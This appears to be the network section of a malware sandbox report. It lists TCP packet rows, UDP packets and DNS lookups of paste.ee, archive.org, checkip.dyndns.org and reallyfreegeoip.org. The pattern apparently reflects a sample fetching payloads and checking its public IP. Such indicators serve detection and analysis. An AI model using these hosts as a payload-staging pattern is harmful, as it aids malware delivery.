Apr 28, 2025 13:24:36.813437939 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.813529015 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.813544989 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.813585043 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.813591957 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.813602924 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.813621998 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.813625097 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.813635111 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.813652992 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.813687086 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814316034 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814330101 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814373970 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814383984 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814421892 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814503908 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814538956 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814552069 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814558029 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814574957 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814593077 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814593077 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814603090 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814640999 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814644098 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814661026 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814690113 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814742088 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814747095 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814755917 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814774990 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814799070 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814805031 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814826965 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814862967 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814862967 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814873934 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814888954 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814909935 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814935923 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.814940929 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.814974070 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815030098 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815045118 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815093040 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815099955 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815144062 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815205097 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815223932 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815258980 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815264940 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815285921 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815289974 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815304041 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815310955 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815320969 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815336943 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815371037 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815490007 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815504074 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815542936 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815551043 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815588951 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815654993 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815675020 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815700054 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815706015 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815718889 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815732956 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815742016 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815747976 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815763950 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815772057 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815805912 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815809965 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815845013 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815881968 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815927029 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815932035 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815939903 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.815969944 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.815982103 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816054106 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816073895 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816119909 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816126108 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816158056 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816204071 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816219091 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816250086 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816266060 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816298008 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816298008 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816359043 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816375017 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816415071 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816421032 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816435099 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816453934 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816457033 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816467047 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816483021 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816514969 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816678047 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816700935 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816731930 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816739082 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816751957 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816772938 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816797018 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816817999 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816850901 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816855907 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816879988 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816880941 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816901922 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816906929 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816924095 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.816932917 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.816976070 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.817344904 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.817362070 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.817409992 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.817420959 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.817456007 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980163097 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980187893 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980249882 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980288029 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980304956 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980334044 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980350971 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980351925 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980362892 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980376959 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980405092 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980415106 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980443954 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980495930 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980516911 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980546951 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980552912 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980591059 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980679989 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980726957 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980739117 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980746031 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980763912 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980782032 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980798960 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980814934 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980820894 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.980849028 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.980990887 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981004953 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981055975 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981062889 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981076002 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981122017 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981153965 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981189966 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981195927 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981216908 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981223106 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981237888 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981273890 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981281042 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981314898 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981314898 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981360912 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981369972 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981375933 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981416941 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981432915 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981446028 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981479883 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981491089 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981499910 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981511116 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.981535912 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.981561899 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.982245922 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.982276917 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.982311010 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.982317924 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.982331038 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.982403994 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:37.141096115 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:37.141156912 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:37.141221046 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:37.141237020 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:37.141237020 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:37.141261101 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:37.141282082 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:37.141313076 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:37.141315937 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:37.141361952 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:37.141726971 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:37.586786985 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:37.586843014 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:37.586929083 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:37.587555885 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:37.587577105 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:37.892824888 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:37.892971039 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:37.894830942 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:37.894846916 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:37.895173073 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:37.896280050 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:37.940280914 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.345953941 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.345978022 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.345993996 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.346077919 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.346113920 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.346132040 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.346180916 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.346215963 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499320030 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499341965 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499434948 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499468088 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499517918 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499517918 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499531031 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499548912 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499568939 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499608040 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499614954 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499663115 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499687910 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499703884 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499748945 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499757051 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.499783993 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.499805927 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.653050900 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653074980 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653140068 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653183937 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653179884 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.653227091 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653244019 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653248072 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.653248072 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.653268099 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653291941 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.653306007 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653318882 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.653345108 CEST	443	49695	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:38.653382063 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:38.653723955 CEST	49695	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:39.055212021 CEST	49696	80	192.168.2.6	158.101.44.242
Apr 28, 2025 13:24:39.211507082 CEST	80	49696	158.101.44.242	192.168.2.6
Apr 28, 2025 13:24:39.211601973 CEST	49696	80	192.168.2.6	158.101.44.242
Apr 28, 2025 13:24:39.211945057 CEST	49696	80	192.168.2.6	158.101.44.242
Apr 28, 2025 13:24:39.368531942 CEST	80	49696	158.101.44.242	192.168.2.6
Apr 28, 2025 13:24:39.373764038 CEST	80	49696	158.101.44.242	192.168.2.6
Apr 28, 2025 13:24:39.377840996 CEST	49696	80	192.168.2.6	158.101.44.242
Apr 28, 2025 13:24:39.537199974 CEST	80	49696	158.101.44.242	192.168.2.6
Apr 28, 2025 13:24:39.587682962 CEST	49696	80	192.168.2.6	158.101.44.242
Apr 28, 2025 13:24:39.703388929 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:39.703459978 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:39.703557968 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:39.710938931 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:39.710963011 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:40.003057003 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:40.003118038 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:40.009085894 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:40.009119987 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:40.009407043 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:40.056463957 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:40.074361086 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:40.120271921 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:40.345695019 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:40.345771074 CEST	443	49697	104.21.112.1	192.168.2.6
Apr 28, 2025 13:24:40.345841885 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:24:40.353455067 CEST	49697	443	192.168.2.6	104.21.112.1
Apr 28, 2025 13:25:23.853566885 CEST	49691	80	192.168.2.6	192.178.49.195
Apr 28, 2025 13:25:24.001291037 CEST	80	49691	192.178.49.195	192.168.2.6
Apr 28, 2025 13:25:24.001415014 CEST	49691	80	192.168.2.6	192.178.49.195
Apr 28, 2025 13:25:44.538254023 CEST	80	49696	158.101.44.242	192.168.2.6
Apr 28, 2025 13:25:44.538324118 CEST	49696	80	192.168.2.6	158.101.44.242

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 28, 2025 13:24:08.293126106 CEST	51271	53	192.168.2.6	1.1.1.1
Apr 28, 2025 13:24:08.433346987 CEST	53	51271	1.1.1.1	192.168.2.6
Apr 28, 2025 13:24:23.253813982 CEST	65203	53	192.168.2.6	1.1.1.1
Apr 28, 2025 13:24:23.394234896 CEST	53	65203	1.1.1.1	192.168.2.6
Apr 28, 2025 13:24:33.944180965 CEST	54087	53	192.168.2.6	1.1.1.1
Apr 28, 2025 13:24:34.084604025 CEST	53	54087	1.1.1.1	192.168.2.6
Apr 28, 2025 13:24:34.844441891 CEST	59783	53	192.168.2.6	1.1.1.1
Apr 28, 2025 13:24:35.011960983 CEST	53	59783	1.1.1.1	192.168.2.6
Apr 28, 2025 13:24:37.443785906 CEST	65008	53	192.168.2.6	1.1.1.1
Apr 28, 2025 13:24:37.585602045 CEST	53	65008	1.1.1.1	192.168.2.6
Apr 28, 2025 13:24:38.905477047 CEST	50344	53	192.168.2.6	1.1.1.1
Apr 28, 2025 13:24:39.045752048 CEST	53	50344	1.1.1.1	192.168.2.6
Apr 28, 2025 13:24:39.539395094 CEST	58911	53	192.168.2.6	1.1.1.1
Apr 28, 2025 13:24:39.702446938 CEST	53	58911	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 28, 2025 13:24:08.293126106 CEST	192.168.2.6	1.1.1.1	0xbfb1	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:23.253813982 CEST	192.168.2.6	1.1.1.1	0x7b93	Standard query (0)	c.pki.goog	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:33.944180965 CEST	192.168.2.6	1.1.1.1	0x8397	Standard query (0)	archive.org	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:34.844441891 CEST	192.168.2.6	1.1.1.1	0x45c4	Standard query (0)	ia801700.us.archive.org	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:37.443785906 CEST	192.168.2.6	1.1.1.1	0x1db1	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:38.905477047 CEST	192.168.2.6	1.1.1.1	0x6c7d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.539395094 CEST	192.168.2.6	1.1.1.1	0xf91e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 28, 2025 13:24:08.433346987 CEST	1.1.1.1	192.168.2.6	0xbfb1	No error (0)	paste.ee		23.186.113.60	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:22.478688955 CEST	1.1.1.1	192.168.2.6	0x8df4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:22.478688955 CEST	1.1.1.1	192.168.2.6	0x8df4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:23.394234896 CEST	1.1.1.1	192.168.2.6	0x7b93	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 13:24:23.394234896 CEST	1.1.1.1	192.168.2.6	0x7b93	No error (0)	pki-goog.l.google.com		192.178.49.195	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:34.084604025 CEST	1.1.1.1	192.168.2.6	0x8397	No error (0)	archive.org		207.241.224.2	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:35.011960983 CEST	1.1.1.1	192.168.2.6	0x45c4	No error (0)	ia801700.us.archive.org		207.241.233.30	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:37.585602045 CEST	1.1.1.1	192.168.2.6	0x1db1	No error (0)	paste.ee		23.186.113.60	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.045752048 CEST	1.1.1.1	192.168.2.6	0x6c7d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
